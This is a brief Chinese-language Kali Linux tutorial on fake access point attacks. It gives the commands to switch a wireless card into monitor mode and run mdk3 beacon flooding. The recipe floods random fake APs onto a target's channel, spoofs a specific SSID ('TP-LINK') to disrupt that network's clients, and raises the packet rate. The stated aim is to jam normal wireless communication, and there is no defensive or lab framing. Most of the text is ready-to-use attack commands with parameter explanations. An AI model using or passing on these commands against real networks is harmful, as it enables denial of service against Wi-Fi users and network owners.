伪造AP攻击的方法具体表现有很多，这里演示伪造合法AP和恶意创建大量虚假AP信号。
伪造大量虚假AP信号:
如果目的是要干扰正常无线通信，那么无线黑客也可以通过创建大量虚假AP基站信号来实现。
具体可以使用MDK3这款工具实现，KaliLinux里面可以通过无线网卡发射随机伪造的AP信号，并可以根据需要设定伪造的AP的工作频道，一般设定为干扰目标AP的同一频道。
具体命令如下：
mdk3 网卡 b -g -c 6 -h 7
参数解释：
网卡：此处用于输入当前的网卡的名称，这里是mon0
b:用于伪造啊P时使用的模式
-g:伪造成提供54M即满足802.11g标准的无线网络。
-c:num针对的无线工作频道，这里是6.
-h:num用于提升攻击效率，不过只针对个别无线设备有效，可以不使用该参数。
激活网卡命令：ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
airmon-ng start wlan0
对于在某一频道正常工作的无线接入点，攻击者除了可以发送相同频道外，甚至还可以发送相同SSID的无线数据流量信号，来扰乱连接该AP的无线客户端的正常运作，具体命令如下：
mdk3 网卡 b -n TP-LINK -g -c 6
其中,-n 是SSID使用指定的SSID来替代随机生成的SSID，该参数使得提供更有针对性。
提升发包速度：
mdk3 网卡 b -n TP-LINK -g -c 6 -s 200
其中，-s为发送数据包速率，但并不准确，这里输入的为200,实际发包速率会保持在150---250个包/秒